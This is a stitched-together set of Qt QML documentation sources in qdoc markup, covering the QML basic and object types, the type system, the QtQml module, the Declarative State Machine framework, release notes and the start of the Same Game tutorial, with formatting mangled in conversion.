When integrating with C++, note that any QVariant value \{qtqml-cppintegration-data.html}{passed into QML from C++} is automatically converted into a \c variant value, and vice-versa.

## \section1 Using Scarce Resources with the variant Type

A \c variant type property can also hold an image or pixmap.

A \c variant which contains a QPixmap or QImage is known as a "scarce resource" and the declarative engine will attempt to automatically release such resources after evaluation of any JavaScript expression which requires one to be copied has completed.

Clients may explicitly release such a scarce resource by calling the

"destroy" method on the `\c` variant property from within JavaScript. They may also explicitly preserve the scarce resource by calling the "preserve" method on the `\c` variant property from within JavaScript. For more information on the usage of a scarce resource, please see `\{Scarce Resources in JavaScript}`.

## `\section1 Storing Arrays and Objects`

The `\c` variant type can also hold:

`\list`

- `\li` An array of `\{QML Basic Types\}``{basic type}` values

- `\li` A map of key-value pairs with `\{QML Basic Types\}``{basic-type}` values

`\endlist`

For example, below is an `\c` items array and an `\c` attributes map. Their contents can be examined using JavaScript `\c` for loops. Individual array values are accessible by index, and individual map values are accessible by key:

`\qml`

Item {

property variant items: [1, 2, 3, "four", "five"]

property variant attributes: { 'color': 'red', 'width': 100 }

```

Component.onCompleted: {
  for (var i = 0; i < items.length; i++)
    console.log(items[i])

  for (var prop in attributes)
    console.log(prop, "=", attributes[prop])
}
}
\endqml

```

While this is a convenient way to store array and map-type values, you must be aware that the \c items and \c attributes properties above are \e not QML objects (and certainly not JavaScript object either) and the key-value pairs in \c attributes are \e not QML properties. Rather, the \c items property holds an array of values, and \c attributes holds a set of key-value pairs. Since they are stored as a set of values, instead of as an object, their contents \e cannot be modified individually:

```

\qml
Item {
  property variant items: [1, 2, 3, "four", "five"]
  property variant attributes: { 'color': 'red', 'width': 100 }

  Component.onCompleted: {
    items[0] = 10
  }
}

```

```
    console.log(items[0])    // This will still be '1'!  
  
    attributes.color = 'blue'  
  
    console.log(attributes.color)    // This will still be 'red'!  
  
    }  
}  
  
\endqml
```

Since it is not possible to individually add or remove items from a list or object stored in a `\c` variant, the only way to modify its contents is to reassign a new value. However, this is not efficient, as it causes the value to be serialized and deserialized.

Additionally, since `\c` items and `\c` attributes are not QML objects, changing their individual values do not trigger property change notifications. If the above example had `\c onNumberChanged` or `\c onAnimalChanged` signal handlers, they would not have been called. If, however, the `\c` items or `\c` attributes properties themselves were reassigned to different values, then such handlers would be called.

JavaScript programmers should also note that when a JavaScript object is copied to an array or map property, the `\e` contents of the object (that is, its key-value properties) are copied, rather than the object itself. The property does not hold a reference to the original JavaScript object, and extra data such as the object's JavaScript prototype chain is also lost in the process.

This basic type is provided by the QML language.

```
\sa {QML Basic Types}
*/

/*!
\qmlbasictype enumeration
\ingroup qmlbasictypes
\brief a named enumeration value.
```

The `\c` enumeration type refers to a named enumeration value.

Each named value can be referred to as `\c {<Type>.<value>}`. For example, the `\l Text` type has an `\c AlignRight` enumeration value:

```
\qml
Text { horizontalAlignment: Text.AlignRight }
\endqml
```

(For backwards compatibility, the enumeration value may also be specified as a string, e.g. "AlignRight". This form is not recommended for new code.)

When integrating with C++, note that any `\c` enum value

[\qtqml-cppintegration-data.html](#) passed into QML from C++ is automatically converted into an `enum` value, and vice-versa.

This basic type is provided by the QML language. Some enumeration values are provided by the QtQuick import.

## Using the enumeration Type in QML

The `enum` type is a representation of a C++ `enum` type. It is not possible to refer to the `enum` type in QML itself; instead, the `int` or `var` types can be used when referring to `enum` values from QML code.

For example:

```
qml
import QtQuick 2.0

Item {
    // refer to Text.AlignRight using an int type
    property int enumValue: textItem.horizontalAlignment

    signal valueEmitted(int someValue)

    Text {
```

```
    id: textItem

    horizontalAlignment: Text.AlignRight
}
```

```
// emit valueEmitted() signal, which expects an int, with Text.AlignRight
```

```
Component.onCompleted: valueEmitted(Text.AlignRight)
```

```
}
```

```
\endqml
```

```
\sa {QML Basic Types}
```

```
*/
```

\title QML Object Types

\brief describes QML object types and how to create them

A QML object type is a type from which a QML object can be instantiated.

In syntactic terms, a QML object type is one which can be used to declare an object by specifying the `{type name}` followed by a set of curly braces that encompasses the attributes of that object. This differs from `{basic types}`, which cannot be used in the same way. For example, `Rectangle` is a QML object

type: it can be used to create `Rectangle` type objects. This cannot be done with primitive types such as `int` and `bool`, which are used to hold simple data types rather than objects.

Custom QML object types can be defined by creating a `.qml` file that defines the type, as discussed in [\l {qtqml-documents-definetypes.html}](#)

[{Documents as QML object type definitions}](#), or by defining a QML type from C++ and registering the type with the QML engine, as discussed in [\{qtqml-cppintegration-definetypes.html}](#)[{Defining QML Types from C++}](#).

## `\section1` Defining Object Types from QML

## `\section2` Defining Object Types through QML Documents

Plugin writers and application developers may provide types defined as QML documents. A QML document, when visible to the QML import system, defines a type identified by the name of the file minus the file extensions.

Thus, if a QML document named `"MyButton.qml"` exists, it provides the definition of the `"MyButton"` type, which may be used in a QML application.

See the documentation about [\l {QML Documents}](#) for information on how to define a QML document, and the syntax of the QML

language. Once you are familiar with the QML language and how to define QML documents, see the documentation which explains how to

[\qtqml-documents-definetypes.html](#)

{define and use your own reusable QML types in QML documents}.

See [\ {Defining Object Types through QML Documents}](#) for more information.

## [\section2 Defining Anonymous Types with Component](#)

Another method of creating object types from within QML is to use the [\l Component](#) type.

This allows a type to be defined inline within a QML document, instead of using a separate document in a [\c .qml](#) file.

```
\qml
```

```
Item {
```

```
    id: root
```

```
    width: 500; height: 500
```

```
    Component {
```

```
        id: myComponent
```

```
        Rectangle { width: 100; height: 100; color: "red" }
```

```
    }
```

```
Component.onCompleted: {  
    myComponent.createObject(root)  
    myComponent.createObject(root, {"x": 200})  
}  
}  
\endqml
```

Here the `\c myComponent` object essentially defines an anonymous type that can be instantiated using `\l {Component::createObject}` to create objects of this anonymous type.

Inline components share all the characteristics of regular top-level components and use the same `\c import` list as their containing QML document.

Note that each `\l Component` object declaration creates its own `\e {component scope}`. Any `\e id` values used and referred to from within a `\l Component` object declaration must be unique within that scope, but do not need to be unique within the document within which the inline component is declared. So, the `\l Rectangle` declared in the `\c myComponent` object declaration could have an `\e id of \c root` without conflicting with the `\c root` declared for the `\l Item` object in the same document, as these two `\e id` values are declared within different component scopes.

See [\{qtqml-documents-scope.html}](#){Scope and Naming Resolution} for more details.

## \section1 Defining Object Types from C++

C++ plugin writers and application developers may register types defined in C++ through API provided by the Qt QML module. There are various registration functions which each allow different use-cases to be fulfilled.

For more information about those registration functions, and the specifics of exposing custom C++ types to QML, see the documentation regarding [\{qtqml-cppintegration-definetypes.html}](#){Defining QML Types from C++}.

The QML type-system relies on imports, plugins and extensions being installed into a known import path. Plugins may be provided by third-party developers and reused by client application developers. Please see the documentation about [\{qtqml-modules-topic.html}](#){QML modules} for more information about how to create and deploy a QML extension module.

\page qtqml-typesystem-topic.html

\title The QML Type System

\brief Description of the QML type system

The types which may be used in the definition of an object hierarchy in a QML document can come from various sources. They may be:

\list

\li provided natively by the QML language

\li registered via C++ by QML modules

\li provided as QML documents by QML modules

\endlist

Furthermore, application developers can provide their own types, either by registering C++ types directly, or by defining reusable components in QML documents which can then be imported.

Wherever the type definitions come from, the engine will enforce type-safety for properties and instances of those types.

## \section1 Basic Types

The QML language has built-in support for various primitive types including integers, double-precision floating point numbers, strings, and boolean values. Objects may have properties of these types, and values of these types may be passed as arguments to methods of objects.

See the [\{qtqml-typesystem-basictypes.html\}](#){QML Basic Types} documentation for more information about basic types.

## \section1 JavaScript Types

JavaScript objects and arrays are supported by the QML engine. Any standard JavaScript type can be created and stored using the generic `\l var` type.

For example, the standard `\c Date` and `\c Array` types are available, as below:

```
\qml
```

```
import QtQuick 2.0
```

```
Item {
```

```
    property var theArray: new Array()
```

```
    property var theDate: new Date()
```

```
    Component.onCompleted: {
```

```
        for (var i = 0; i < 10; i++)
```

```
            theArray.push("Item " + i)
```

```
        console.log("There are", theArray.length, "items in the array")
```

```
        console.log("The time is", theDate.toUTCString())
```

```
    }
```

```
}
```

```
\endqml
```

See [\{qtqml-javascript-expressions.html\}](#) {JavaScript Expressions in QML Documents} for more details.

## \section1 QML Object Types

A QML object type is a type from which a QML object can be instantiated. QML object types are derived from `QObject`, and are provided by QML modules.

Applications can import these modules to use the object types they provide.

The `QtQuick` module provides the most common object types needed to create user interfaces in QML.

Finally, every QML document implicitly defines a QML object type, which can be re-used in other QML documents. See the documentation about

[\{qtqml-typesystem-objecttypes.html\}](#) {object types in the QML type system} for in-depth information about object types.

\qmlmodule QtQml 2.2

\title Qt QML QML Types

\ingroup qmlmodules

## \brief List of QML types provided by the Qt QML module

The \{Qt QML} module provides the definition and implementation of various convenience types which can be used with the QML language, including some elementary QML types which can provide the basis for further extensions to the QML language. The \l QtObject and \l Component object types are non-visual and provide building-blocks for extensions to QML.

## \section1 Importing QtQml

The types provided by the \c QtQml module are only available in a QML document if that document imports the \c QtQml namespace (or if the document imports the \c QtQuick namespace, as noted below).

The current version of the \c QtQml module is version 2.2, and thus it may be imported via the following statement:

```
\qml
import QtQml 2.2
\endqml
```

Most clients will never need to use the \c QtQml import, as all of the types are also provided by the \c QtQuick namespace which may be imported as follows:

```
\qml
```

```
import QtQuick 2.3
```

```
\endqml
```

See the `\{Qt Quick}` module documentation for more information about the `\c QtQuick` namespace and what it provides to QML application developers.

The QML types for creating lists and models, such as `\l ListModel` and `\l ListElement`, are moved to a submodule, `\c QtQml.Models`. The `\{Qt QML Models QML Types}\{Qt QML Models}` page has more information.

The documentation for the types below applies equally to the types of the same name provided by the `\{Qt Quick}` module, as they are in fact identical.

## `\section1 Basic Types`

The following `\{qtqml-typesystem-basictypes.html}\{QML basic types}` are provided:

```
\annotatedlist qtqmlbasictypes
```

## `\section1 Object Types`

The following `\{qtqml-typesystem-objecttypes.html}\{QML object types}` are

provided:

```
*/
```

```
/*!
```

```
\qmlbasictype date
```

```
\ingroup qtqmlbasictypes
```

```
\ingroup qtquickbasictypes
```

```
\brief a date value.
```

The `\c` date type refers to a date value.

To create a `\c` date value, specify it as a "YYYY-MM-DD" string:

```
\qml
```

```
MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" }
```

```
\endqml
```

To read a date value returned from a C++ extension class, use

```
\{QtQml::Qt::formatDate()\}{Qt.formatDate()} and  
\{QtQml::Qt::formatDateTime()\}{Qt.formatDateTime()}.
```

When integrating with C++, note that any `QDate` value

`\{qtqml-cppintegration-data.html\}`{passed into QML from C++} is automatically converted into a `\c` date value, and vice-versa.

This basic type is provided by the QML language. It can be implicitly converted to a `QtQml::Date` object.

```
\sa {QtQml::Date}{QML Date object}, {QML Basic Types}

*/
```

```
/*!
```

```
\qmlbasictype point
```

```
\ingroup qtqmlbasictypes
```

```
\ingroup qtquickbasictypes
```

```
\brief a value with x and y attributes.
```

The `point` type refers to a value with `x` and `y` attributes.

To create a `point` value, specify it as a "x,y" string:

```
\qml
CustomObject { myPointProperty: "0,20" }
\endqml
```

Or use the `Qt::point()` function:

```
\qml
CustomObject { myPointProperty: Qt.point(0, 20) }
\endqml
```

When integrating with C++, note that any QPoint or QPointF value

`\l{qtqml-cppintegration-data.html}`{passed into QML from C++} is automatically converted into a `\c` point value. When a `\c` point value is passed to C++, it is automatically converted into a QPointF value.

`\sa{QML Basic Types}`

`*/`

`/*!`

`\qmlbasictype size`

`\ingroup qtqmlbasictypes`

`\ingroup qtquickbasictypes`

`\brief a value with width and height attributes`

The `\c` size type refers to a value with has `\c` width and `\c` height attributes.

For example, to read the `\c` width and `\c` height values of the

`\l {Image::sourceSize}` size-type property:

`\qml`

`Column {`

`Image { id: image; source: "logo.png" }`

`Text { text: image.sourceSize.width + "," + image.sourceSize.height }`

`}`

```
\endqml
```

To create a `\c` size value, specify it as a "width x height" string:

```
\qml
```

```
Image { sourceSize: "150x50" }
```

```
\endqml
```

Or use the `\{QtQml::Qt::size()\}{Qt.size()}` function:

```
\qml
```

```
Image { sourceSize: Qt.size(150, 50) }
```

```
\endqml
```

When integrating with C++, note that any `QSize` or `QSizeF` value

[\{qtqml-cppintegration-data.html\}](#) passed into QML from C++ is automatically converted into a `\c` size value, and vice-versa. When a `\c` size value is passed to C++, it is automatically converted into a `QSizeF` value.

```
\sa{QML Basic Types}
```

```
*/
```

```
/*!
```

```
\qmlbasictype rect
```

```
\ingroup qtqmlbasictypes
```

`\ingroup qtquickbasictypes`

`\brief` a value with `x`, `y`, `width` and `height` attributes.

The `\c rect` type refers to a value with `\c x`, `\c y`, `\c width` and `\c height` attributes.

For example, to read the `\c width` and `\c height` values of the `\l Item`

`\l {Item::childrenRect.x}{childrenRect} rect-type` property:

`\qml`

`Rectangle {`

`width: childrenRect.width`

`height: childrenRect.height`

`Rectangle { width: 100; height: 100 }`

`}`

`\endqml`

To create a `\c rect` value, specify it as a "`x`, `y`, `width` x `height`" string:

`\qml`

`CustomObject { myRectProperty: "50,50,100x100" }`

`\endqml`

Or use the `\l{QtQml::Qt::rect()}{Qt.rect()}` function:

```
\qml
```

```
CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) }
```

```
\endqml
```

When integrating with C++, note that any QRect or QRectF value

`\{qtqml-cppintegration-data.html\}`passed into QML from C++} is automatically

converted into a `\c rect` value, and vice-versa. When a `\c rect` value is passed to C++, it

is automatically converted into a QRectF value.

```

\title Qt QML

\brief The Qt QML module defines and implements the QML language

The Qt QML module provides a framework for developing applications and libraries with the \{QML Applications\}{QML language}. It defines and implements the language and engine infrastructure, and provides an API to enable application developers to extend the QML language with custom types and integrate QML code with JavaScript and C++. The Qt QML module provides both a \{Qt QML QML Types\}

{QML API} and a \{Qt QML C++ Classes}{C++ API}.

Note that while the Qt QML module provides the language and infrastructure for QML applications, the \{Qt Quick} module provides many visual components, model-view support, an animation framework, and much more for building user interfaces.

For those new to QML and Qt Quick, please see

\{QML Applications}

for an introduction to writing QML applications.

## \section1 Getting Started

To include the definitions of the module's classes, use the following directive:

```
\code
```

```
#include <QtQml>
```

```
\endcode
```

The QML types in Qt QML are available through the \c QtQML import. To use the types, add the following import statement to your .qml file:

```
\code
```

```
import QtQml 2.0
```

```
\endcode
```

To link against the module, add this line to your `\l qmake \c`

`.pro` file:

```
\code
```

```
QT += qml
```

```
\endcode
```

## `\section1 QML and QML Types`

The Qt QML module contains the QML framework and important QML types used in applications. The constructs of QML are described in the `\l{The QML Reference}`.

In addition to the `\l{QML Basic Types}`, the module comes with

the following QML object types:

```
\list
```

```
\li \l Component
```

```
\li \l QObject
```

```
\li \l Binding
```

```
\li \l Connections
```

```
\li \l Timer
```

```
\endlist
```

The `\l{QtQml::Qt}{Qt}` global object provides useful enums and functions

for various QML types.

## `\section2 Lists and Models`

New in Qt 5.1, the model types are moved to a submodule, `\c QtQml.Models`. The

`\{Qt QML Models QML Types\}``{Qt QML Models}` page has more information.

`\list`

`\li \l DelegateModel`

`\li \l DelegateModelGroup`

`\li \l ListElement`

`\li \l ListModel`

`\li \l ObjectModel`

`\endlist`

## `\section1 JavaScript Environment for QML Applications`

JavaScript expressions allow QML code to contain application logic. Qt QML

provides the framework for running JavaScript expressions in QML and from C++.

These sections are from `\{The QML Reference\}`.

`\{qml-javascript-topic.html\}``{Integrating QML and JavaScript}`

`\list`

`\li \l {qml-javascript-expressions.html}``{Using JavaScript Expressions with QML}`

`\li \l {qml-javascript-dynamicobjectcreation.html}``{Dynamic QML Object Creation from JavaScript}`

- \li \l{qml-javascript-resources.html}{Defining JavaScript Resources In QML}
  - \li \l{qml-javascript-imports.html}{Importing JavaScript Resources In QML}
  - \li \l{qml-javascript-hostenvironment.html}{JavaScript Host Environment}
- \endlist

## \section1 Integrating QML with C++ Applications

The module also provides the framework for running QML applications.

The QML framework allows QML code to contain JavaScript expressions and for the QML code to interact with C++ code.

\list

- \li \l{Important C++ Classes Provided By The Qt QML Module}
  - \li \l{Integrating QML and C++}
- \endlist

## \section1 Additional Frameworks

\list

- \li \l{The Declarative State Machine Framework}
- \endlist

## \section1 Guides and Other Information

Further information for writing QML applications:

\list

\li \li{The QML Reference}

\li \li{QML Applications}

- essential information for application development with QML and Qt Quick

\li \li{Qt Quick} - a module which provides a set of QML types and C++ classes

for building user interfaces and applications with QML

\li \li{Qt QML Release Notes} - list of changes and

additions in the Qt QML module

\endlist

\qmlmodule QtQml.StateMachine 1.0

\title Declarative State Machine QML Types

\brief Provides QML types to create and execute state graphs.

The following is a list of QML types provided by the module:

\*/

/\*!

\page qmlstatemachine.html

\title The Declarative State Machine Framework

\brief Overview of the Declarative State Machine Framework for constructing and executing state graphs.

\ingroup frameworks-technologies

\tableofcontents

The Declarative State Machine Framework provides types for creating and executing state graphs in QML. It is similar to the C++ State Machine framework based on Harel's

\l{Statecharts: A visual formalism for complex systems}, which is also the basis for UML state diagrams. Like its

\l{The State Machine Framework}{C++ counterpart}, the framework provides an API and execution model based on \l{State Chart XML: State Machine Notation for Control Abstraction}{State Chart XML (SCXML)} to embed the elements and semantics of statecharts in QML applications.

For user interfaces with multiple visual states, independent of the application's logical state, consider using QML States and Transitions.

These following QML types are provided by framework to create event-driven state machines:

\annotatedlist statemachine-qmltypes

\section1 Using both QtQuick and QtQml.StateMachine imports

\warning If you're attempting to import both \l{QtQuick} and \e{QtQml.StateMachine} in one single QML file, make sure to import \e{QtQml.StateMachine} \e{last}. This way, the \e{State} type is provided by the Declarative State Machine Framework and not by \l{QtQuick}:

\qml

```
import QtQuick 2.0
```

```
import QtQml.StateMachine 1.0
```

```
StateMachine {
```

```
    State {
```

```
        // okay, is of type QtQml.StateMachine.State
```

```
    }
```

```
}
```

\endqml

Alternatively, you can import \e{QtQml.StateMachine} into a separate namespace to avoid any ambiguity with QtQuick's \e{State} item:

```

\qml

import QtQuick 2.0

import QtQml.StateMachine 1.0 as DSM

DSM.StateMachine {

    DSM.State {

        // ...

    }

}

\endqml

```

## \section1 A Simple State Machine

To demonstrate the core functionality of the State Machine API, let's look at an example: A state machine with three states, \c s1, \c s2 and \c s3. The state machine is controlled by a single Button; when the button is clicked, the machine transitions to another state. Initially, the state machine is in state \c s1. The following is a state chart showing the different states in our example.

\image statemachine-button.png

The following snippet shows the code needed to create such a state machine.

\snippet qml/statemachine/statemachine-button.qml 0

The state machine runs asynchronously to become part of your application's event loop.

## \section1 State Machines That Finish

The state machine defined in the previous section never finishes. In order for a state machine to be able to finish, it needs to have a top-level \e final state (FinalState object). When the state machine enters the top-level final state, the machine emits the \l{State::finished}{finished} signal and halts.

All you need to do to introduce a final state in the graph is create a FinalState object and use it as the target of one or more transitions.

## \section1 Sharing Transitions

Assume we wanted the user to be able to quit the application at any time by clicking a Quit button. In order to achieve this, we need to create a final state and make it the target of a transition associated with the Quit button's \e clicked() signal. We could add a transition for each state; however, this seems redundant and one would also have to remember to add such a transition from every new state that is added in the future.

We can achieve the same behavior (namely that clicking the Quit button quits the state machine, regardless of which state the state machine is in) by grouping states `\c s1`, `\c s2` and `\c s3`. This is done by creating a new top-level state and making the three original states children of the new state. The following diagram shows the new state machine.

`\image statemachine-button-nested.png`

The three original states have been renamed `\c s11`, `\c s12` and `\c s13` to reflect that they are now children of the new top-level state, `\c s1`. Child states implicitly inherit the transitions of their parent state. This means it is now sufficient to add a single transition from `\c s1` to the final state, `\c s2`. New states added to `\c s1` will automatically inherit this transition.

All that's needed to group states is to specify the proper parent when the state is created. You also need to specify which of the child states is the initial one (the child state the state machine should enter when the parent state is the target of a transition).

`\snippet qml/statemachine/statemachine-button-nested.qml 0`

In this case we want the application to quit when the state machine is finished, so the machine's `\e finished()` signal is connected to the

application's `quit()` slot.

A child state can override an inherited transition. For example, the following code adds a transition that effectively causes the Quit button to be ignored when the state machine is in state, `s12`.

`\snippet qml/statemachine/statemachine-button-nested-ignore-quit.qml 0`

A transition can have any state as its target irrespective of where the target state is in the state hierarchy.

## `\section1 Using History States`

Imagine that we wanted to add an "interrupt" mechanism to the example discussed in the previous section; the user should be able to click a button to have the state machine perform some non-related task, after which the state machine should resume whatever it was doing before (i.e. return to the old state, which is one of the three states in this case).

Such behavior can easily be modeled using `{history states}`. A history state (`HistoryState` object) is a pseudo-state that represents the child state that the parent state was in before it exited last.

A history state is created as a child of the state for which we wish to record the current child state; when the state machine detects the presence

of such a state at runtime, it automatically records the current (real) child state when the parent state exits. A transition to the history state is in fact a transition to the child state that the state machine had previously saved; the state machine automatically "forwards" the transition to the real child state.

The following diagram shows the state machine after the interrupt mechanism has been added.

`\image statemachine-button-history.png`

The following code shows how it can be implemented; in this example we simply display a message box when `\c s3` is entered, then immediately return to the previous child state of `\c s1` via the history state.

`\snippet qml/statemachine/statemachine-button-history.qml 0`

## `\section1 Using Parallel States`

Assume that you wanted to model a set of mutually exclusive properties of a car in a single state machine. Let's say the properties we are interested in are Clean vs Dirty, and Moving vs Not moving. It would take four mutually exclusive states and eight transitions to represent the states and freely move between all possible combinations as shown in the following state chart.

\image statemachine-nonparallel.png

If we added a third property (say, Red vs Blue), the total number of states would double, to eight; and if we added a fourth property (say, Enclosed vs Convertible), the total number of states would double again, to 16.

This exponential increase can be reduced using parallel states, which enables linear growth in the number of states and transitions as we add more properties. Furthermore, states can be added to or removed from the parallel state without affecting any of their sibling states. The following state chart shows the different parallel states for the car example.

\image statemachine-parallel.png

To create a parallel state group, set `childMode` to `QState.ParallelStates`.

\qml

```
State {  
    id: s1  
  
    childMode: QState.ParallelStates  
  
    State {  
        id: s11  
    }  
  
    State {  
        id: s12
```

```
    }  
  }  
\endqml
```

When a parallel state group is entered, all its child states will be simultaneously entered. Transitions within the individual child states operate normally. However, any of the child states may take a transition which exits the parent state. When this happens, the parent state and all of its child states are exited.

The parallelism in the State Machine framework follows an interleaved semantics. All parallel operations will be executed in a single, atomic step of the event processing, so no event can interrupt the parallel operations. However, events will still be processed sequentially, as the machine itself is single threaded. For example, consider the situation where there are two transitions that exit the same parallel state group, and their conditions become true simultaneously. In this case, the event that is processed last of the two will not have any effect.

## \section1 Exiting a Composite State

A child state can be final (a `FinalState` object); when a final child state is entered, the parent state emits the `State::finished` signal. The following diagram shows a composite state `\c s1` which does some processing before entering a final state:

\image statemachine-finished.png

When \c s1 's final state is entered, \c s1 will automatically emit \l{State::finished}{finished}. We use a signal transition to cause this event to trigger a state change:

```
\qml
State {
    id: s1

    SignalTransition {
        targetState: s2
        signal: s1.finished
    }
}
\endqml
```

Using final states in composite states is useful when you want to hide the internal details of a composite state. The outside world should be able to enter the state and get a notification when the state has completed its work, without the need to know the internal details. This is a very powerful abstraction and encapsulation mechanism when building complex (deeply nested) state machines. (In the above example, you could of course create a transition directly from \c s1 's \c done state rather than relying on \c s1 's finished() signal, but with the consequence that implementation details of

\c s1 are exposed and depended on).

For parallel state groups, the State::finished signal is emitted when \e all the child states have entered final states.

## \section1 Targetless Transitions

A transition need not have a target state. A transition without a target can be triggered the same way as any other transition; the difference is that it doesn't cause any state changes. This allows you to react to a signal or event when your machine is in a certain state, without having to leave that state. For example:

\qml

```
Button {
    id: button
    text: "button"

    StateMachine {
        id: stateMachine
        initialState: s1
        running: true

        State {
            id: s1

            SignalTransition {
                signal: button.clicked
```

```

        onTriggered: console.log("button pressed")

    }

}

}

}

\endqml

```

The "button pressed" message will be displayed each time the button is clicked, but the state machine will remain in its current state (s1). If the target state were explicitly set to s1, s1 would be exited and re-entered each time (the QAbstractState::entered and QAbstractState::exited signals would be emitted).

\\title Qt QML Release Notes

\page qtqml-releasenotes.html

## \section1 Qt QML in Qt 5.1

Qt 5.1 introduces several bug fixes and new functionalities to Qt QML. This is a summary of the new changes:

\list

\li New QQmlApplicationEngine convenience class for QML applications.

\li New Instantiator type for generic, dynamic object creation.

\li New properties for \l {Qt::application}{Qt.application}: arguments, name, and version.

\li The 'with' statement has been deprecated and is slated for removal in a future version of the language.

\li New \l {Qt::platform}{Qt.platform} object with an \c os property

\li New \l qmlClearTypeRegistrations() function drops all data from qmlRegisterType() calls

\li New \l qmlRegisterType() function for registering composite types.

\endlist

## \section2 New Submodule

The \l {Qt QML Models QML Types}{Qt QML Models} is a new submodule in Qt 5.1 and provides several QML types for handling data with models and lists. These types replace types such as \l VisualItemModel, \l VisualDataModel, and \l VisualDataGroup.

\list

\li \l {Qt QML Models QML Types}{Models}

\endlist

The \l{What's New in Qt 5.1} has more information about the Qt 5.1 release.

## \section1 Qt QML in Qt 5.0

The \l{Qt QML} module is new in Qt 5.0. It provides the QML engine and implements the QML language supporting infrastructure.

(Prior to Qt 5, this functionality was provided by the \l{Qt Quick 1}{QtDeclarative} module, which has now been replaced by the new \l{Qt QML} and \l{Qt Quick} modules. See the \l{Porting QML Applications to Qt 5} page for more information.)

## \section2 QML Engine

\list

\li JavaScript engine has changed to V8.

\li Various parser and compiler optimizations have been implemented, as well as a new bindings optimizer.

\li New QQmlEngine::trimComponentCache() method safely discards unused data in the engine's component cache to free memory.

\endlist

## \section2 Component and Object Creation

\list

- \li QML objects can now be created asynchronously to improve application performance.

- \li

- \li New QQmlIncubator and QQmlIncubationController C++ classes can be used to create objects asynchronously.

- \li From QML code, this behavior can be enabled by:

- \li

- \li Calling the new Component \l{Component::incubateObject} method

- \li Passing the \c Component.Asynchronous parameter to \c Qt.createComponent()

- \li Loading a \l Loader object asynchronously using the \l{Loader::}{asynchronous} property

- \li

- \li

- \li The component returned by \c Qt.createComponent() is no longer parented to the engine. Be sure to hold a reference, or provide a parent.

- \li

## \section2 Type System

- \li

- \li New \l var property type. This is a general-purpose property type which obsoletes the \l variant type.

- \li Properties of the \l var type may hold JavaScript references.

- \li QML properties of type \l var and \l variant can now hold pixmaps.

- \li See \l {Scarce Resources in JavaScript} for more information.

- \li Value type improvements:

- \li

- \li QML now supports defining properties of value type basic types within QML documents. Supported types include

- \li QSizeF, QPointF and QRectF as \c size, \c point and \c rect respectively.

\li QColor is now a value type provided by the \c QtQuick module. The red, green, blue and alpha channels

of a \l color property can be accessed via \c r, \c g, \c b and \c a properties.

\li Factory functions for various value types have been added to the \c Qt object exposed to QML.

Some of those functions require the \c QtQuick module to be imported in order to return valid values.

See the \l {Qt Quick Release Notes} for more information about these functions.

\endlist

\li Support for sequence types QList<int>, QList<qreal>, QList<bool>, QList<QUrl>,

QList<QString> and QStringList has been improved. QObjects can define Q\_PROPERTYs of

these types which can be accessed transparently from JavaScript.

\endlist

## \section2 Modules and Imports

\list

\li Arbitrary functionality may be provided in a namespace through a singleton type. See qmlRegisterSingletonType() for more information.

\li JavaScript (.js) files may now import QML modules and other JavaScript files using the ".import" syntax.

\li Plugins may now use QQmlExtensionPlugin::baseUrl to get the directory from which the plugin is loaded.

This will be useful if the plugin needs to load QML or other assets from the same directory.

\endlist

## \section2 Other

\list

\li QQmlExpression can now be constructed directly (and more efficiently) from a QQmlScriptString.

\li The \l {QtQml::Qt}{Qt} global object now provides an \l {QtQml::Qt::inputMethod}{inputMethod} property to access the active

text input method for an application.

\title QML Advanced Tutorial

\brief A more advanced tutorial, showing how to use QML to create a game.

\nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks

This tutorial walks step-by-step through the creation of a full application using QML.

It assumes that you already know the basics of QML (for example, from reading the

\{QML Tutorial\}{simple tutorial}).

In this tutorial we write a game, \e {Same Game}, based on the Same Game application  
included in the declarative \c examples directory, which looks like this:

\image declarative-samegame.png

We will cover concepts for producing a fully functioning application, including JavaScript integration, using QML `\l{State}{Qt Quick States}` and `\l{Behavior}{Behaviors}` to manage components and enhance your interface, and storing persistent application data.

An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't know JavaScript you can still get a feel for how you can integrate backend logic to create and control QML types.

Tutorial chapters:

`\list 1`

`\li \l {QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks}{Creating the Game Canvas and Blocks}`

`\li \l {QML Advanced Tutorial 2 - Populating the Game Canvas}{Populating the Game Canvas}`

`\li \l {QML Advanced Tutorial 3 - Implementing the Game Logic}{Implementing the Game Logic}`

`\li \l {QML Advanced Tutorial 4 - Finishing Touches}{Finishing Touches}`

`\endlist`

All the code in this tutorial can be found in Qt's `\c examples/quick/tutorials/samegame` directory.

`*/`

`/*!`

`\title QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks`

`\contentspage QML Advanced Tutorial`

`\previouspage QML Advanced Tutorial`

`\nextpage QML Advanced Tutorial 2 - Populating the Game Canvas`

`\example tutorials/samegame/samegame1`

`\section2 Creating the application screen`

The first step is to create the basic QML items in your application.

To begin with, we create our Same Game application with a main screen like this:

`\image declarative-adv-tutorial1.png`

This is defined by the main application file, `\c samegame.qml`, which looks like this:

`\snippet tutorials/samegame/samegame1/samegame.qml 0`

This gives you a basic game window that includes the main canvas for the blocks, a "New Game" button and a score display.

One item you may not recognize here

is the `\l SystemPalette` item. This provides access to the Qt system palette and is used to give the button a more native look-and-feel.

Notice the anchors for the `\c Item`, `\c Button` and `\c Text` types are set using

group (dot) notation for readability.

## `\section2 Adding \c Button and \c Block components`

The `\c Button` item in the code above is defined in a separate component file named `\c Button.qml`.

To create a functional button, we use the QML types `\l Text` and `\l MouseArea` inside a `\l Rectangle`.

Here is the `\c Button.qml` code:

```
\snippet tutorials/samegame/samegame1/Button.qml 0
```

This essentially defines a rectangle that contains text and can be clicked. The `\l MouseArea` has an `\c onClicked()` handler that is implemented to emit the `\c clicked()` signal of the `\c container` when the area is clicked.

In Same Game, the screen is filled with small blocks when the game begins.

Each block is just an item that contains an image. The block code is defined in a separate `\c Block.qml` file:

```
\snippet tutorials/samegame/samegame1/Block.qml 0
```

At the moment, the block doesn't do anything; it is just an image. As the tutorial progresses we will animate and give behaviors to the blocks.

We have not added any code yet to create the blocks; we will do this in the next chapter.

We have set the image to be the size of its parent Item using `\c {anchors.fill: parent}`.

This means that when we dynamically create and resize the block items later on in the tutorial, the image will be scaled automatically to the correct size.

Notice the relative path for the Image type's `\c source` property.

This path is relative to the location of the file that contains the `\l Image` type.

Alternatively, you could set the Image source to an absolute file path or a URL that contains an image.

